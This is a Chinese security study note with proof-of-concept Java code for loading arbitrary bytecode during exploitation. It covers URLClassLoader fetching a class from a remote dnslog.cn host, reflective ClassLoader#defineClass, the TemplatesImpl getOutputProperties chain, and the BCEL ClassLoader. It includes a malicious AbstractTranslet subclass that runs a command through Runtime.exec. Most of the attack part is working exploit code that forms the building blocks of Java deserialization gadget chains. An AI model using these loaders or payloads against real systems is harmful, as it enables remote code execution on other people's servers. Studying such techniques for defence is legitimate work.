字节码加载方式有:
- 本地系统直接加载
- 网络获取:Web Applet
- jar、war包
- 动态代理:运行时计算生成…
- …
URLClassLoader
可以借助URLClassLoader来加载远程Server上的字节码文件.
(前提是本地以及别的路径没有找到对应类的字节码文件.public class URLClassLoader0 {
public static void main(String args[]) throws Exception {
URL[] urls = {new URL("http://xrrysm.dnslog.cn/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("hello");
c.newInstance();
}
}
ClassLoader#defineClass
利用ClassLoader#defineClass可以直接加载字节码并将字节码还原为类. defineClass也是ClassLoader的核心.
POC:
package test.com.byteLoader;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
public class defineClazzz {
public static void main(String args[]) throws Exception {
Method defineClass = ClassLoader.class.
getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = byte[]{...};
// class name must correct!
Class clz = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(),"evilClazz",code,0, code.length);
clz.newInstance();
}
}
直接用defineClass和javassist就会报错.:暂时还未找到解决方法.
public class defineClazzz {
public static void main(String args[]) throws Exception {
Method defineClass = ClassLoader.class.
getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(bad.evilClazz.class.getName());
byte[] code = clazz.toBytecode();
// class name must correct!
Class clz = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(),"evilClazz",code,0, code.length);
clz.newInstance();
}
}
TemplatesImpl#TransletClassLoader
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类自定义了一个ClassLoader方法并重写了其中的defineClass方法.
defineClass方法的调用链:
TemplatesImpl#getOutputProperties()
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
其中getOutputProperties和newTransformer为public类型,都是可以直接调用的.
demo:
public class TemplatesImplClassLoader {
public static void main(String args[]) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ct = pool.get(evilClz.class.getName());
byte[] code = ct.toBytecode();
TemplatesImpl tmpl = new TemplatesImpl();
Reflections.setFieldValue(tmpl,"_bytecodes", new byte[][] {code});
Reflections.setFieldValue(tmpl, "_name", "HelloTemplatesImpl");
Reflections.setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
tmpl.getOutputProperties();
}
}
其中恶意的类有要求,需要是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类:
public class evilClz extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
与ClassLoader#defineClass相比,少了一些奇奇怪怪的问题.
BCEL ClassLoader
java 8u251之前可以使用. https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
8u251把BCEL给移除了.
BCEL(Apache Commons BCEL), 属于Apache Commons项目下的一个子项目, 被包含在JDK的原生库中.
- 将Class转换为原生字节码: Repository.
- 原生字节码转换为BCEL字节码: Utility.Encode
- 使用BCEL ClassLoader加载BCEL字节码, 字节码前面加$$BCEL$$后再用com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
public class BECLClassLoader {
public static void main(String args[]) throws Exception {
JavaClass cls = Repository.lookupClass(bad.evilClazz.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}